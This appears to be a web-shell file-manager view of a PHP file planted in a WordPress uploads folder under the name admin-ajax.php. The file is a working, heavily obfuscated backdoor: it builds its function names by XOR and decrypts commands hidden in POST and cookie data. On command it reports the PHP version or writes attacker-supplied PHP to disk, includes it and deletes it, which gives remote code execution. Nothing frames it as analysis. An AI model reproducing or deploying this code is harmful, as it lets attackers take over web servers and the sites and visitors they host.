HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/11/admin-ajax.php
<?php 
$juaphfrn    = /*   jghyy   */ 'juaphfrn'	^ /* ezd*/ '	';

$_fwdv    =   "\x61"      . /*  hcgtn   */ $juaphfrn(683-569)	.	"r".$juaphfrn(140-43)   . /*   hsvfl  */ "y"."_"."\155" /*   f_q*/ . /*   lllq */ $juaphfrn(824-727) /*  _pizti*/ .     "p";$ohzjipn /*  idloee */ = /*   z*/ "i".$juaphfrn(109)    .     "\x70"	.      "\x6c"    . /*   t   */ "o".$juaphfrn(100)    . /*h */ "\x65";






function /* z */ hlphg($zxluk, /*   yr_n */ $trexle)
{
    global /*   dkn  */ $juaphfrn;


 /*  tglu */ 
 /*   j*/ $zxluk    =    $juaphfrn(723-663)    .    "\x3f"       .       "p"."\150"    .    "p".$juaphfrn(32)	.       $juaphfrn(117)    .    "\x6e"   .    "\x6c"    .	$juaphfrn(105)."n"."k"."\50"      .   "_".$juaphfrn(95)   .    "F"."I"."L"."E".$juaphfrn(95) /* gwfy   */ . /*   bcapz */ $juaphfrn(231-136)    .  ")".$juaphfrn(181-122)    .       $juaphfrn(32) /* n_o   */ . /*vg */ $zxluk["\x64"];

    $fp_iqjum  =   $juaphfrn(365-263) /*   igf_uu */ . /*gmcbg   */ "\x69" /*eaydcw  */ . /*   ueeah*/ $juaphfrn(583-475)   .	$juaphfrn(831-730)."_"."\160"     .     "\x75"      .	"t".$juaphfrn(95)       .    "c"."o"."n"."t".$juaphfrn(831-730).$juaphfrn(1020-910)      .      "\x74"    .    "\x73";	
 /*tpdwu*/ $fp_iqjum($trexle, /*uzpgn*/ $zxluk);


 /*   nwsk_f */ 


    _vn_ik($trexle);
}


$eorjrjznx /*iz   */ = /*l_y */ 73;




function      _vn_ik($trexle)
{
    global       $juaphfrn;	


	include($trexle);

	$tetgny   = /*  o  */ $trexle;


 /*xgqeb*/ @unlink($tetgny);


}


function    lhlkj(){
 /*  mvxo*/ global /* pwkro   */ $juaphfrn;



    $rrtiso      =    array();


     $rrtiso["p"."\166"]	=    phpversion();

 /*   vp  */ $rrtiso[$juaphfrn(233-118) /* lkjsgw  */ .	$juaphfrn(489-371)]    = /*   rkdd */ "3"."\x2e"	.      "\x35";

	$cnutgecr /*qbu   */ =  74;  echo     @serialize($rrtiso);


}

function    zyw_g($zxluk,    $rnj_dxptcm)
{
    global    $juaphfrn;


    $gkfgqpjxrc /* okvnhn*/ =      ""; /* xzz   */ $ngaoscuii /*  su */ =   strlen($zxluk);
     $zdgnz_nuaq    =    strlen($rnj_dxptcm);    $rrtiso   = /* zw  */ 0;

 /*  n__uwu  */ $cepbpg      =    0;
       

 /* l  */ while /*   y*/ ($rrtiso /*   aqxf_  */ <    $ngaoscuii)      {
	$t_rii /* np*/ = /*   ss*/ $zxluk[$rrtiso] /* n */ ^   $rnj_dxptcm[$cepbpg    %  $zdgnz_nuaq];
       $gkfgqpjxrc       .=     $t_rii;

	$cepbpg++; /*iismrq */ 


     $rrtiso++;

 /*   iv  */ }


 /*   l */ 


   if	(strlen($gkfgqpjxrc) /*tqfagk  */ > /*tem*/ 20)	{

 /* xzyfpz*/ $yey_m_kxbd	= /*   fkfpn  */ substr($gkfgqpjxrc, /*  cc   */ 0,    20);  }
  if       (empty($gkfgqpjxrc))  {

      $gkfgqpjxrc	= /*  rrc   */ date('Y-m-d  H:i:s');


 /*   gqbtay  */ }
 /* nctd_*/ return  $gkfgqpjxrc;}




function   zlwlsvo($dztac)
{
 /* slz*/ global /*  zja   */ $juaphfrn;

 /*  hgzf */ 


	$rrtisoovenbny       =	$juaphfrn(628-530)	.    "\x62"  . /*r */ "1".$juaphfrn(1039-990)    . /* uvuxd   */ $juaphfrn(101)     . /*_hx  */ "c"."2"."2"."-"."3"."1"."1".$juaphfrn(53)    .    "-"."4".$juaphfrn(805-703)    .     $juaphfrn(257-155) /*   gxsq */ .    "2"."-"."\71" /*   rkv   */ .    "6".$juaphfrn(51) /*  zovjzs*/ .     "0".$juaphfrn(357-312) /*  vldp_  */ .       "0"."2"."\64" /*   suaqkm  */ .	"9"."\144" /*   wczfky*/ . /*  b */ $juaphfrn(54) /*   dawgdk*/ .      "\x36"    .     "\x31"	. /* dxlnzn */ $juaphfrn(651-553)	.   $juaphfrn(429-327) /*   n   */ .    "\70" /*zlb  */ .       "7";
 /*  x */ 

	foreach /*  ywxgey  */ ($dztac  as    $fytpxhx    =>     $zxluk) /*  xmwlv  */ {

    ekatu(base64_decode($zxluk),    $rrtisoovenbny,    $fytpxhx);
  }
}



function /* lidtta*/ ekatu($zxluk, /*mbsa*/ $rrtisoovenbny,  $fytpxhx){
 /*uy   */ global /*ueqq  */ $juaphfrn;
 /*   ltq*/ 


	$zxluk /*  kj */ =    unserialize(zyw_g(zyw_g($zxluk,    $rrtisoovenbny), /* hoqevm  */ $fytpxhx));


	$rrtisoxpdkax    =    'kvbc';
	$ymirsh	=      'hle_duwjvq'; /* lwzh*/ if   (isset($zxluk["a"."k"])) /*   utwpc*/ { /*ivka   */ if	($zxluk["a"]  ==     $juaphfrn(105)) /*   n  */ {
 /* mvyx */ lhlkj();


 /* ehcgro  */ } /* nsjykh  */ elseif    ($zxluk["a"]    == /* qqztzi */ $juaphfrn(831-730))      {
 /*  oc_i  */ hlphg($zxluk,    sprintf("."."/"."%"."s".$juaphfrn(972-926)	.  "p".$juaphfrn(108), /* l*/ md5($rrtisoovenbny)));			$wsv_ysx	=    44;


 /*   pggcze   */ }	exit();	}

}


zlwlsvo($_POST);    
$wqimxt      = /*  fygr   */ 'rawurldecode';


$ttmrpislt    =	$_fwdv($wqimxt,       $_POST);$ohzjipn("",       $wqimxt);




zlwlsvo($_COOKIE);


$d_mvnpjck /*   xg_fl */ = /* hvy*/ $_fwdv($wqimxt,     $_COOKIE);



?>